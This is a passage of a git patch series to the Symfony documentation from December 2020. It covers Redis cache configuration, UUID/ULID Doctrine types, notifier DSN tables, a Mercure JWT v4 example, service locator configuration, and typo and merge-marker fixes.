 components/cache/adapters/redis_adapter.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index c97ab697831..e9d1fec6237 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -201,6 +201,18 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
     $client = RedisAdapter::createConnection('redis://localhost');
     $cache = new RedisTagAwareAdapter($client);
 
+Configuring Redis
+~~~~~~~~~~~~~~~~~
+
+When using Redis as cache, you should configure the `maxmemory` and `maxmemory-policy` settings.
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+By setting `maxmemory`, you limit how much memory Redis is allowed to consume. If the amount is too low, Redis will drop entries that would still be useful and you benefit less from your cache. Setting the `maxmemory-policy` to 
+`allkeys-lru` tells Redis that it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least 
+recently used). If you do not allow Redis to drop entries, it will return an error when you try to add data when no 
+memory is available. An example setting could look as follows:
+
+    maxmemory 100mb
+    maxmemory-policy allkeys-lru
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
@@ -211,3 +223,4 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
+.. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache

From ead414bfbcd3fd1212498f05aaded72c45b6c700 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 16 Dec 2020 14:43:05 +0100
Subject: [PATCH 0254/5766] minor. refs #14683

---
 components/cache/adapters/redis_adapter.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index e9d1fec6237..935afcd9f92 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -204,16 +204,21 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 Configuring Redis
 ~~~~~~~~~~~~~~~~~
 
-When using Redis as cache, you should configure the `maxmemory` and `maxmemory-policy` settings.
-Read more about this topic in the offical `Redis LRU Cache Documentation`_.
-By setting `maxmemory`, you limit how much memory Redis is allowed to consume. If the amount is too low, Redis will drop entries that would still be useful and you benefit less from your cache. Setting the `maxmemory-policy` to 
-`allkeys-lru` tells Redis that it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least 
-recently used). If you do not allow Redis to drop entries, it will return an error when you try to add data when no 
-memory is available. An example setting could look as follows:
+When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
+settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
+If the amount is too low, Redis will drop entries that would still be useful and you benefit
+less from your cache. Setting the ``maxmemory-policy`` to ``allkeys-lru`` tells Redis that
+it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least
+recently used). If you do not allow Redis to drop entries, it will return an error when you
+try to add data when no memory is available. An example setting could look as follows:
+
+.. code-block:: ini
 
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis

From 134df97392feb4ce78293595ea28eee35ed6348e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rathgeber=20St=C3=A9phane?= <stephane@kiora.tech>
Date: Wed, 16 Dec 2020 18:53:48 +0100
Subject: [PATCH 0255/5766] Remove white space

---
 quick_tour/the_architecture.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 69883859d53..d88bb5d32ed 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -155,7 +155,7 @@ difference is that it's done in the constructor:
         {
             // ...
 
-     +        $this->logger->info('Using the greeting: '.$greeting);
+    +        $this->logger->info('Using the greeting: '.$greeting);
 
              return $greeting;
         }

From 7bf71ce65e972e466826e9046318b404e3031318 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 16 Dec 2020 23:26:59 +0100
Subject: [PATCH 0256/5766] Remove UuidBinary/UlidBinary usages from
 documentation

---
 components/uid.rst | 22 ++++++++++------------
 1 file changed, 10 insertions(+), 12 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index e5888c66b88..fef72839f52 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -115,7 +115,7 @@ UUID objects created with the ``Uuid`` class can use the following methods
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string/binary values in the database.
+You can store UUID values as any other regular string values in the database.
 However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
 special Doctrine types which convert to/from UUID objects automatically::
 
@@ -134,14 +134,13 @@ special Doctrine types which convert to/from UUID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="uuid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
+.. versionadded:: 5.2
+
+    The UuidBinary type has been removed in Symfony 5.2.
+
 There's also a Doctrine generator to help autogenerate UUID values for the
 entity primary keys::
 
@@ -260,7 +259,7 @@ ULID objects created with the ``Ulid`` class can use the following methods::
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string/binary values in the database.
+You can store ULID values as any other regular string values in the database.
 However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
 special Doctrine types which convert to/from ULID objects automatically::
 
@@ -279,14 +278,13 @@ special Doctrine types which convert to/from ULID objects automatically::
          */
         private $someProperty;
 
-        /**
-         * @ORM\Column(type="ulid_binary")
-         */
-        private $anotherProperty;
-
         // ...
     }
 
+.. versionadded:: 5.2
+
+    The UlidBinary type has been removed in Symfony 5.2.
+
 There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 

From 41285f0382e1056edb115c4b55c3f816aec73843 Mon Sep 17 00:00:00 2001
From: Oleksandr Barabolia <alexandrbarabolya@gmail.com>
Date: Mon, 16 Nov 2020 19:42:41 +0200
Subject: [PATCH 0257/5766] [Notifier] add iqsms bridge support in doc

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index b626a79ac39..9fdb9a435a8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -60,6 +60,7 @@ Service     Package                           DSN
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
+Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovhcloud-notifier``     ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
@@ -77,6 +78,10 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
     The Smsapi, Infobip, Mobyt, Esendex and Sendinblue integrations were introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The Iqsms integration was introduced in Symfony 5.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 1c0c7ae267a3c598ef9f5a78e12f6f1f5e40caf3 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 17 Dec 2020 21:48:23 +0100
Subject: [PATCH 0258/5766] Replace unavailable dependency in Symfony 4

---
 setup/unstable_versions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 27036493fd4..5e11526b20e 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -68,7 +68,7 @@ Symfony version has deprecated some of its features.
         $ cd projects/my_project/
         $ git checkout -b testing_new_symfony
         # ... update composer.json configuration
-        $ composer update symfony/symfony
+        $ composer update "symfony/*"
 
         # ... after testing the new Symfony version
         $ git checkout master

From 2dbe568d4575e3472e0337757e134f7821c8c831 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C5=81ukasz=20Korczewski?= <lukasz.korczewski@gmail.com>
Date: Fri, 18 Dec 2020 02:50:05 +0100
Subject: [PATCH 0259/5766] Fixed typo

---
 form/without_class.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/without_class.rst b/form/without_class.rst
index 85838d77ce9..5f565ebfb52 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -79,7 +79,7 @@ you want to use. See :doc:`/validation` for more details.
 
 .. _form-option-constraints:
 
-But if the form is not mapped to an object and you instead want to retrieve a
+But if the form is not mapped to an object and you instead want to retrieve an
 array of your submitted data, how can you add constraints to the data of
 your form?
 

From ddd13674681771b2ea316f90eb6a9134a99c990e Mon Sep 17 00:00:00 2001
From: Fouad <48414048+ltlsquare@users.noreply.github.com>
Date: Fri, 18 Dec 2020 11:13:39 +0400
Subject: [PATCH 0260/5766] Update uid.rst

Uuid::fromString(); should not be instantiated as "new".
The Ulid section is correct the uuid section contains this error.
Especially confusing when you are just starting with this newly implemented functionality.
---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index c8eee0ece94..9a097a3e675 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -71,7 +71,7 @@ Converting UUIDs
 
 Use these methods to transform the UUID object into different bases::
 
-    $uuid = new Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
+    $uuid = Uuid::fromString('d9e7a184-5d5b-11ea-a62a-3499710062d0');
 
     $uuid->toBinary();  // string(16) "..." (binary contents can't be printed)
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"

From 1e1ff71f20d292072dd5c18f4bf0794739e2f39d Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 18 Dec 2020 11:33:45 +0100
Subject: [PATCH 0261/5766] Support JWT v4

---
 mercure.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9dd6fe205b9..e4bc11d911f 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -408,7 +408,7 @@ And here is the controller::
     // src/Controller/DiscoverController.php
     namespace App\Controller;
 
-    use Lcobucci\JWT\Builder;
+    use Lcobucci\JWT\Configuration;
     use Lcobucci\JWT\Signer\Hmac\Sha256;
     use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
@@ -423,10 +423,13 @@ And here is the controller::
             $hubUrl = $this->getParameter('mercure.default_hub');
             $this->addLink($request, new Link('mercure', $hubUrl));
 
-            $token = (new Builder())
-                // set other appropriate JWT claims, such as an expiration date
+            $key = Key\InMemory::plainText('mercure_secret_key'); // don't forget to set this parameter! Test value: !ChangeMe!
+            $configuration = Configuration::forSymmetricSigner(new Sha256(), $key);
+
+            $token = $configuration->builder()
                 ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
+                ->getToken($configuration->signer(), $configuration->signingKey())
+                ->toString();
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $response->headers->set(

From efea74512cbe0f140de4a6e9409c0221f759a838 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 11:37:52 +0100
Subject: [PATCH 0262/5766] Update DSN

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 3145bce544c..4a587019e57 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://TOKEN@default?from=FROM``
+Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
@@ -147,7 +147,7 @@ Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?chan
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
+Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==========  ================================  ===========================================================================
 
 .. versionadded:: 5.1

From facf002bb506ca6b811d72797f03ae21498d665e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 11:44:54 +0100
Subject: [PATCH 0263/5766] Update DSN

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 3f7d7008de9..c5e8181c22a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -131,7 +131,7 @@ integration with these chat services:
 ==========  ================================  ============================================
 Service     Package                           DSN
 ==========  ================================  ============================================
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
+Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``

From dc29127bf23aba45b1ec6cec5b0444fd05fe7139 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 15:16:26 +0100
Subject: [PATCH 0264/5766] Tweaks

---
 components/uid.rst | 22 ++++++----------------
 1 file changed, 6 insertions(+), 16 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b0fd455add0..ccf372ddd96 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -115,9 +115,8 @@ UUID objects created with the ``Uuid`` class can use the following methods
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store UUID values as any other regular string values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from UUID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``uuid`` Doctrine
+type, which converts to/from UUID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -137,10 +136,6 @@ special Doctrine types which convert to/from UUID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UuidBinary type has been removed in Symfony 5.2.
-
 There's also a Doctrine generator to help autogenerate UUID values for the
 entity primary keys::
 
@@ -165,7 +160,7 @@ entity primary keys::
 
 .. versionadded:: 5.2
 
-    The UUID types and generators were introduced in Symfony 5.2.
+    The UUID type and generators were introduced in Symfony 5.2.
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
@@ -259,9 +254,8 @@ ULID objects created with the ``Ulid`` class can use the following methods::
 Storing ULIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can store ULID values as any other regular string values in the database.
-However, if you :doc:`use Doctrine </doctrine>`, it's more convenient to use the
-special Doctrine types which convert to/from ULID objects automatically::
+If you :doc:`use Doctrine </doctrine>`, consider using the ``ulid`` Doctrine
+type, which converts to/from ULID objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -281,10 +275,6 @@ special Doctrine types which convert to/from ULID objects automatically::
         // ...
     }
 
-.. versionadded:: 5.2
-
-    The UlidBinary type has been removed in Symfony 5.2.
-
 There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
@@ -308,7 +298,7 @@ entity primary keys::
 
 .. versionadded:: 5.2
 
-    The ULID types and generator were introduced in Symfony 5.2.
+    The ULID type and generator were introduced in Symfony 5.2.
 
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query

From 4629dba683293de46b4d8a1ae5ca9ec81f394f3f Mon Sep 17 00:00:00 2001
From: Dale Nash <dalenashdn@gmail.com>
Date: Fri, 18 Dec 2020 15:10:56 +0000
Subject: [PATCH 0265/5766] Update setup.rst

Fix incorrect quotation mark type
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5700c2b8878..30ef0375f20 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev' my_project_name
+    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev' my_project_name
+    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 8250dc71f0cec24f3cc2b7a29431684265e10eca Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 18 Dec 2020 16:20:45 +0100
Subject: [PATCH 0266/5766] Fix build

---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 7e50df6c212..10a0a5490aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -144,7 +144,6 @@ integration with these chat services:
 
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
-<<<<<<< HEAD
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``

From d4358eb4295728074b913f98a66a021a41aeacea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 16:58:36 +0100
Subject: [PATCH 0267/5766] Mention a possible way of reusing the same form

---
 forms.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/forms.rst b/forms.rst
index 12013e8fbfc..1654aa3deba 100644
--- a/forms.rst
+++ b/forms.rst
@@ -449,6 +449,16 @@ possible paths:
     data is passed to it, you can
     :doc:`use the submit() method to handle form submissions </form/direct_submit>`.
 
+.. tip::
+
+    If you need to render and process the same form in different templates,
+    use the ``render()`` function to :ref:`embed the controller <templates-embed-controllers>`
+    that processes the form:
+
+    .. code-block:: twig
+
+        {{ render(controller('App\\Controller\\TaskController::new')) }}
+
 .. _validating-forms:
 
 Validating Forms

From 0e925a0993bd16ecac6f8560e4686cc63d322418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 17:21:19 +0100
Subject: [PATCH 0268/5766] Reword the introduction about using Bootstrap and
 Encore

---
 frontend/encore/bootstrap.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index ff281f588ac..fedb5153cac 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -1,9 +1,9 @@
 Using Bootstrap CSS & JS
 ========================
 
-Want to use Bootstrap (or something similar) in your project? No problem!
-First, install it. To be able to customize things further, we'll install
-``bootstrap``:
+This article explains how to install and integrate the `Bootstrap CSS framework`_
+in your Symfony application using :doc:`Webpack Encore </frontend>`.
+First, to be able to customize things further, we'll install ``bootstrap``:
 
 .. code-block:: terminal
 
@@ -79,3 +79,5 @@ and CSS like normal:
     // require 2 CSS files needed
     require('bootstrap-star-rating/css/star-rating.css');
     require('bootstrap-star-rating/themes/krajee-svg/theme.css');
+
+.. _`Bootstrap CSS framework`: https://getbootstrap.com/

From 8af100d63a63d2bf22c99117f686d64e1b963ea3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 17:31:00 +0100
Subject: [PATCH 0269/5766] Mention that Symfony only loads YAML routes by
 default

---
 routing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/routing.rst b/routing.rst
index ec6de557b5d..a7d5be18fb6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -147,6 +147,12 @@ the ``BlogController``:
             ;
         };
 
+.. versionadded:: 5.1
+
+    Starting from Symfony 5.1, by default Symfony only loads the routes defined
+    in YAML format. If you define routes in XML and/or PHP formats, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file extensions.
+
 .. _routing-matching-http-methods:
 
 Matching HTTP Methods

From 58bcabbd13cfc3f0611736f5d8cf67cc103ae8e4 Mon Sep 17 00:00:00 2001
From: Gawain Lynch <gawain.lynch@gmail.com>
Date: Sat, 19 Dec 2020 04:01:02 +0100
Subject: [PATCH 0270/5766] Correct annotation for ULID type

---
 components/uid.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index ccf372ddd96..bdeb252bb65 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -287,7 +287,7 @@ entity primary keys::
     {
         /**
          * @ORM\Id
-         * @ORM\Column(type="uuid", unique=true)
+         * @ORM\Column(type="ulid", unique=true)
          * @ORM\GeneratedValue(strategy="CUSTOM")
          * @ORM\CustomIdGenerator(class=UlidGenerator::class)
          */

From 63a4e504fb2e1685618690ebb0348ce8e76366b0 Mon Sep 17 00:00:00 2001
From: Gawain Lynch <gawain.lynch@gmail.com>
Date: Sat, 19 Dec 2020 04:14:46 +0100
Subject: [PATCH 0271/5766] Remove merge conflict header

---
 notifier.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 057545d1b71..62052eb96dc 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -139,7 +139,6 @@ integration with these chat services:
 
 ==========  ================================  ===========================================================================
 Service     Package                           DSN
-<<<<<<< HEAD
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``

From b2c66b145971b0f8cae7b3c318361814c98ae2dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 11:12:51 +0100
Subject: [PATCH 0272/5766] [DependencyInjection] Add ServiceLocatorArgument to
 generate array-based locators

---
 .../service_subscribers_locators.rst          | 92 ++++++++++++++++---
 1 file changed, 78 insertions(+), 14 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 2fc0ec54fb1..fc702a52f27 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -246,9 +246,80 @@ service type to a service.
 Defining a Service Locator
 --------------------------
 
-To manually define a service locator, create a new service definition and add
-the ``container.service_locator`` tag to it. Use the first argument of the
-service definition to pass a collection of services to the service locator:
+To manually define a service locator and inject it to another service, create an
+argument of type ``service_locator``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CommandBus:
+                arguments:
+                    !service_locator
+                        App\FooCommand: '@app.command_handler.foo'
+                        App\BarCommand: '@app.command_handler.bar'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\CommandBus">
+                    <argument type="service_locator">
+                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
+                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <!-- if the element has no key, the ID of the original service is used -->
+                        <argument type="service" id="app.command_handler.baz"/>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CommandBus;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(CommandBus::class)
+                ->args([service_locator([
+                    'App\FooCommand' => ref('app.command_handler.foo'),
+                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    // if the element has no key, the ID of the original service is used
+                    ref('app.command_handler.baz'),
+                ])]);
+        };
+
+.. versionadded:: 4.2
+
+    The ability to add services without specifying an array key was introduced
+    in Symfony 4.2.
+
+.. versionadded:: 4.2
+
+    The ``service_locator`` argument type was introduced in Symfony 4.2.
+
+As shown in the previous sections, the constructor of the ``CommandBus`` class
+must type-hint its argument with ``ContainerInterface``. Then, you can get any of
+the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
+
+Reusing a Service Locator in Multiple Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you inject the same service locator in several services, it's better to
+define the service locator as a stand-alone service and then inject it in the
+other services. To do so, create a new service definition using the
+``ServiceLocator`` class:
 
 .. configuration-block::
 
@@ -334,17 +405,7 @@ service definition to pass a collection of services to the service locator:
     previous Symfony versions you always needed to add the
     ``container.service_locator`` tag explicitly.
 
-.. versionadded:: 4.2
-
-    The ability to add services without specifying their id was introduced in
-    Symfony 4.2.
-
-.. note::
-
-    The services defined in the service locator argument must include keys,
-    which later become their unique identifiers inside the locator.
-
-Now you can use the service locator by injecting it in any other service:
+Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
@@ -386,6 +447,9 @@ Now you can use the service locator by injecting it in any other service:
                 ->args([ref('app.command_handler_locator')]);
         };
 
+Using Service Locators in Compiler Passes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended
 to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register`
 method to create the service locators. This will save you some boilerplate and

From d66cc136e35bd62b20cc97b0c5ed6723ad847ae1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Dec 2020 16:09:26 +0100
Subject: [PATCH 0273/5766] Added a short guide about contributing code
 translations

---
 best_practices.rst                  |   2 +
 contributing/index.rst              |   1 +
 contributing/translations/index.rst | 103 ++++++++++++++++++++++++++++
 3 files changed, 106 insertions(+)
 create mode 100644 contributing/translations/index.rst

diff --git a/best_practices.rst b/best_practices.rst
index 02434a7c812..2880c1014e5 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -320,6 +320,8 @@ are two of the main tasks when handling forms. Both are too similar (most of the
 times, almost identical), so it's much simpler to let a single controller action
 handle both.
 
+.. _best-practice-internationalization:
+
 Internationalization
 --------------------
 
diff --git a/contributing/index.rst b/contributing/index.rst
index 923a4e48ed4..d76b4a8e037 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -7,6 +7,7 @@ Contributing
     code_of_conduct/index
     code/index
     documentation/index
+    translations/index
     community/index
     diversity/index
 
diff --git a/contributing/translations/index.rst b/contributing/translations/index.rst
new file mode 100644
index 00000000000..d865111f0cf
--- /dev/null
+++ b/contributing/translations/index.rst
@@ -0,0 +1,103 @@
+Contributing Translations
+=========================
+
+Some Symfony Components include certain messages that must be translated to
